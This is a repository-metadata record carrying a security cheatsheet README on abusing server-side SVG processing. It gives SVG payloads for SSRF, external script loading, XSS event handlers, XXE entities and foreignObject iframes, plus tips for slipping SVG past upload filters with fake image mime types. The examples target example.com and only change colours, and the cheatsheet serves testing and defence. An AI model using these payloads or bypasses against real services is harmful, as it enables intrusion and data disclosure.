{"id":13844030,"url":"https://github.com/allanlw/svg-cheatsheet","last_synced_at":"2026-02-01T06:09:29.763Z","repository":{"id":37487675,"uuid":"191483220","full_name":"allanlw/svg-cheatsheet","owner":"allanlw","description":"A cheatsheet for exploiting server-side SVG processors.","archived":false,"fork":false,"pushed_at":"2020-07-02T10:51:31.000Z","size":4,"stargazers_count":668,"open_issues_count":2,"forks_count":93,"subscribers_count":12,"default_branch":"master","last_synced_at":"2024-08-05T17:40:42.759Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/allanlw.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2019-06-12T02:32:07.000Z","updated_at":"2024-08-05T04:32:46.000Z","dependencies_parsed_at":"2022-07-12T16:19:17.686Z","dependency_job_id":null,"html_url":"https://github.com/allanlw/svg-cheatsheet","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/allanlw%2Fsvg-cheatsheet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/allanlw%2Fsvg-cheatsheet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/allanlw%2Fsvg-cheatsheet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/allanlw%2Fsvg-cheatsheet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/allanlw","download_url":"https://codeload.github.com/allanlw/svg-cheatsheet/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225763228,"owners_count":17520424,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:02:33.045Z","updated_at":"2026-02-01T06:09:29.710Z","avatar_url":"https://github.com/allanlw.png","language":null,"funding_links":[],"categories":["Others"],"sub_categories":[],"readme":"# SVG SSRF Cheatsheet\r\n\r\nHosts that process SVG can potentially be vulnerable to SSRF, LFI, XSS, RCE because of the rich feature set of SVG.\r\n\r\nAll of these methods specify a URI, which can be absolute or relative. File and HTTP protocol are important to test, but it could also support other protocols depending on the implementation (e.g. PHP stream schemes), including javascript: and data:.\r\n\r\nThis document contains a list of all the ways I know about to abuse this functionality in SVG.\r\n\r\nNote that some services that claim to not accept SVG as an input format actually do with a little coaxing.\r\n\r\n* For uploads, send a JPEG/PNG mime type and filename.\r\n* For downloads, have a JPEG/PNG filename and mime type. If refused, check for TOCTOU on the URL (double fetch) and if it follows redirects.\r\n* I haven't seen it but Mime sniffing confusion is probably also possibleMime sniffing confusion as SVG is difficult to sniff because it can start with extra XML garbage. In fact, AFAICT the standard `file` command doesn't include any SVG magic, so it's likely up to the individual implementations.\r\n\r\n# Images\r\nSVG can include external images directly via the `\u003cimage\u003e` tag.\r\n\r\n``` xml\r\n\u003csvg width=\"200\" height=\"200\"\r\n  xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\r\n  \u003cimage xlink:href=\"https://example.com/image.jpg\" height=\"200\" width=\"200\"/\u003e\r\n\u003c/svg\u003e\r\n```\r\n\r\nNote that you can use this to include *other SVG* images too.\r\n\r\n# The `\u003cuse\u003e` tag\r\n\r\nSVG can include external SVG content via the `\u003cuse\u003e` tag.\r\n\r\nfile1.svg:\r\n``` xml\r\n\u003csvg width=\"200\" height=\"200\"\r\n  xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\r\n  \u003cuse xlink:href=\"https://example.com/file2.svg#foo\"/\u003e\r\n\u003c/svg\u003e\r\n```\r\n\r\nfile2.svg:\r\n```\r\n\u003csvg width=\"200\" height=\"200\"\r\n  xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\r\n  \u003ccircle cx=\"50\" cy=\"50\" r=\"45\" fill=\"green\"\r\n          id=\"foo\"/\u003e\r\n\u003c/svg\u003e\r\n```\r\n\r\n# CSS\r\n\r\n## CSS Stylesheet `\u003clink\u003e`\r\n\r\nSVG can include external stylesheets via the `\u003clink\u003e` tag, just like html.\r\n\r\n``` xml\r\n\u003csvg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\r\n     xmlns=\"http://www.w3.org/2000/svg\"\u003e\r\n\t\u003clink xmlns=\"http://www.w3.org/1999/xhtml\" rel=\"stylesheet\" href=\"http://example.com/style.css\" type=\"text/css\"/\u003e\r\n  \u003ccircle cx=\"50\" cy=\"50\" r=\"45\" fill=\"green\"\r\n          id=\"foo\"/\u003e\r\n\u003c/svg\u003e\r\n```\r\n\r\n## CSS stylesheet via `@include`\r\n\r\n``` xml\r\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\r\n  \u003cstyle\u003e\r\n    @import url(http://example.com/style.css);\r\n  \u003c/style\u003e\r\n  \u003ccircle cx=\"50\" cy=\"50\" r=\"45\" fill=\"green\"\r\n          id=\"foo\"/\u003e\r\n\u003c/svg\u003e\r\n```\r\n\r\n## CSS Stylesheet via `\u003c?xml-stylesheet?\u003e`\r\n\r\n``` xml\r\n\u003c?xml-stylesheet href=\"http://example.com/style.css\"?\u003e\r\n\u003csvg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\r\n     xmlns=\"http://www.w3.org/2000/svg\"\u003e\r\n  \u003ccircle cx=\"50\" cy=\"50\" r=\"45\" fill=\"green\"\r\n          id=\"foo\"/\u003e\r\n\u003c/svg\u003e\r\n```\r\n\r\n# XSLT\r\n\r\nSVGs can include XSLT stylesheets via `\u003c?xml-stylesheet?\u003e`. Surprisingly, this does seem to work in chrome.\r\n\r\n``` xml\r\n\u003c?xml version=\"1.0\" ?\u003e\r\n\u003c?xml-stylesheet href=\"https://example.com/style.xsl\" type=\"text/xsl\" ?\u003e\r\n\u003csvg width=\"10cm\" height=\"5cm\"\r\n     xmlns=\"http://www.w3.org/2000/svg\"\u003e\r\n  \u003crect x=\"2cm\" y=\"1cm\" width=\"6cm\" height=\"3cm\"/\u003e\r\n\u003c/svg\u003e\r\n```\r\n\r\n``` xml\r\n\u003c?xml version=\"1.0\"?\u003e\r\n\r\n\u003cxsl:stylesheet version=\"1.0\"\r\n                xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\r\n                xmlns=\"http://www.w3.org/2000/svg\"\r\n        xmlns:svg=\"http://www.w3.org/2000/svg\"\u003e\r\n  \u003cxsl:output\r\n      method=\"xml\"\r\n      indent=\"yes\"\r\n      standalone=\"no\"\r\n      doctype-public=\"-//W3C//DTD SVG 1.1//EN\"\r\n      doctype-system=\"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\r\n      media-type=\"image/svg\" /\u003e\r\n\r\n  \u003cxsl:template match=\"/svg:svg\"\u003e\r\n    \u003csvg width=\"10cm\" height=\"5cm\"\r\n       xmlns=\"http://www.w3.org/2000/svg\"\u003e\r\n    \u003crect x=\"2cm\" y=\"1cm\" width=\"6cm\" height=\"3cm\" fill=\"red\"/\u003e\r\n  \u003c/svg\u003e\r\n  \u003c/xsl:template\u003e\r\n\u003c/xsl:stylesheet\u003e\r\n```\r\n\r\nNote: due to the nature of XSLT, the input doesn't actually *have* to be a valid SVG file if the xml-stylesheet is ignored, but it's useful to bypass filters. \r\n\r\nAlso, Because I have no interest in learning XSLT, this template just wholesale replaces the entire \"old\" image with the new one.\r\n\r\n# Javascript\r\n\r\n## Inline\r\n\r\nSVG can natively include inline javascript, just like HTML.\r\n\r\n``` xml\r\n\u003csvg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\r\n     xmlns=\"http://www.w3.org/2000/svg\"\u003e\r\n  \u003ccircle cx=\"50\" cy=\"50\" r=\"45\" fill=\"green\"\r\n          id=\"foo\"/\u003e\r\n  \u003cscript type=\"text/javascript\"\u003e\r\n    // \u003c![CDATA[\r\n      document.getElementById(\"foo\").setAttribute(\"fill\", \"blue\");\r\n   // ]]\u003e\r\n  \u003c/script\u003e\r\n\u003c/svg\u003e\r\n```\r\n\r\n## External\r\n\r\nSVG can also include external scripts.\r\n\r\n``` xml\r\n\u003csvg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\r\n  xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\r\n  \u003ccircle cx=\"50\" cy=\"50\" r=\"45\" fill=\"green\"\r\n          id=\"foo\" o=\"foo\"/\u003e\r\n  \u003cscript src=\"http://example.com/script.js\" type=\"text/javascript\"/\u003e\r\n\u003c/svg\u003e\r\n\r\n```\r\n\r\n## Inline in event\r\n\r\nSVG can also have inline event handlers that get executed onload.\r\n\r\n``` xml\r\n\u003csvg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\r\n  xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\r\n  \u003ccircle cx=\"50\" cy=\"50\" r=\"45\" fill=\"green\"\r\n          id=\"foo\" o=\"foo\"/\u003e\r\n  \u003cimage xlink:href=\"https://example.com/foo.jpg\" height=\"200\" width=\"200\" onload=\"document.getElementById('foo').setAttribute('fill', 'blue');\"/\u003e\r\n\u003c/svg\u003e\r\n```\r\n\r\nYou can also bind handlers to animations and some other events. Read the SVG spec.\r\n\r\n# XXE\r\n\r\nBecause SVG is XML, it can also have XXEs:\r\n\r\n``` xml\r\n\u003c?xml version=\"1.0\" encoding=\"ISO-8859-1\"?\u003e\r\n\u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\"\r\n  \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\" [\r\n  \u003c!-- an internal subset can be embedded here --\u003e\r\n  \u003c!ENTITY xxe SYSTEM \"https://example.com/foo.txt\"\u003e\r\n]\u003e\r\n\u003csvg width=\"100%\" height=\"100%\" viewBox=\"0 0 100 100\"\r\n     xmlns=\"http://www.w3.org/2000/svg\"\u003e\r\n  \u003ctext x=\"20\" y=\"35\"\u003eMy \u0026xxe;\u003c/text\u003e\r\n\u003c/svg\u003e\r\n```\r\n\r\n# `\u003cforeignObject\u003e`\r\n\r\nThe `\u003cforeignObject\u003e` tag is insane. It can be used to include arbitrary (X)HTML in an SVG.\r\n\r\nFor example, to include an iframe:\r\n\r\n``` xml\r\n\u003csvg width=\"500\" height=\"500\"\r\n  xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\r\n  \u003ccircle cx=\"50\" cy=\"50\" r=\"45\" fill=\"green\"\r\n          id=\"foo\"/\u003e\r\n\r\n  \u003cforeignObject width=\"500\" height=\"500\"\u003e\r\n    \u003ciframe xmlns=\"http://www.w3.org/1999/xhtml\" src=\"http://example.com/\"/\u003e\r\n  \u003c/foreignObject\u003e\r\n\u003c/svg\u003e\r\n```\r\n\r\nIf you don't have network access (e.g. sandbox) you can put a data URI or a javascript uri as the target of the iframe:\r\n\r\n``` xml\r\n\u003csvg width=\"500\" height=\"500\"\r\n  xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\r\n  \u003ccircle cx=\"50\" cy=\"50\" r=\"45\" fill=\"green\"\r\n          id=\"foo\"/\u003e\r\n\r\n  \u003cforeignObject width=\"500\" height=\"500\"\u003e\r\n     \u003ciframe xmlns=\"http://www.w3.org/1999/xhtml\" src=\"data:text/html,\u0026lt;body\u0026gt;\u0026lt;script\u0026gt;document.body.style.background=\u0026quot;red\u0026quot;\u0026lt;/script\u0026gt;hi\u0026lt;/body\u0026gt;\" width=\"400\" height=\"250\"/\u003e\r\nk   \u003ciframe xmlns=\"http://www.w3.org/1999/xhtml\" src=\"javascript:document.write('hi');\" width=\"400\" height=\"250\"/\u003e\r\n  \u003c/foreignObject\u003e\r\n\u003c/svg\u003e\r\n```\r\n\r\nIf you haven't had enough SVGs, you can also include more SVGs via the `\u003cobject\u003e` or `\u003cembed\u003e` tags. I think probably it's theoretically possible to put Flash in there too.\r\n\r\nNote that also because you're in a different XML namespace, anything that stripped only `svg:script` might not have stripped `html:script` (or similar for attributes).\r\n\r\n# Other\r\n\r\nIt's possible to include external fonts if you ever wanted to do that, I think both via CSS and via native attributes. This isn't really useful though because webfonts require CORS for some reason I don't really understand related to DRM for font resources to prevent hotlinking. I guess sometimes there are font engine vulnerabilities though.\r\n\r\n## Text\r\n\r\nThis example from the SVG spec shows using a tref node to reference text by URI, however it doesn't seem to work in any viewer I've tried. If there is an implementation that supports it, it might also support external URIs for the href in the tref.\r\n\r\n``` xml\r\n\u003c?xml version=\"1.0\" standalone=\"no\"?\u003e\r\n\u003c!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \r\n  \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"\u003e\r\n\u003csvg width=\"10cm\" height=\"3cm\" viewBox=\"0 0 1000 300\"\r\n     xmlns=\"http://www.w3.org/2000/svg\" version=\"1.1\"\r\n     xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\r\n  \u003cdefs\u003e\r\n    \u003ctext id=\"ReferencedText\"\u003e\r\n      Referenced character data\r\n    \u003c/text\u003e\r\n  \u003c/defs\u003e\r\n  \u003cdesc\u003eExample tref01 - inline vs reference text content\u003c/desc\u003e\r\n  \u003ctext x=\"100\" y=\"100\" font-size=\"45\" fill=\"blue\" \u003e\r\n    Inline character data\r\n  \u003c/text\u003e\r\n  \u003ctext x=\"100\" y=\"200\" font-size=\"45\" fill=\"red\" \u003e\r\n    \u003ctref xlink:href=\"#ReferencedText\"/\u003e\r\n  \u003c/text\u003e\r\n  \u003c!-- Show outline of canvas using 'rect' element --\u003e\r\n  \u003crect x=\"1\" y=\"1\" width=\"998\" height=\"298\"\r\n        fill=\"none\" stroke=\"blue\" stroke-width=\"2\" /\u003e\r\n\u003c/svg\u003e\r\n```\r\n\r\n\r\n# Improvements\r\n\r\nIf you know of any other methods or relevant information/examples, feel free to open an issue/PR.\r\n\r\nIf you found this useful, I'd appreciate it if you'd let me know! It makes my day.\r\n\r\n``` quote\r\nCopyright 2019 Allan Wirth \u003callan@allanwirth.com\u003e.\r\n\r\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\r\n\r\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\r\n\r\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\r\n```","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fallanlw%2Fsvg-cheatsheet","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fallanlw%2Fsvg-cheatsheet","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fallanlw%2Fsvg-cheatsheet/lists"}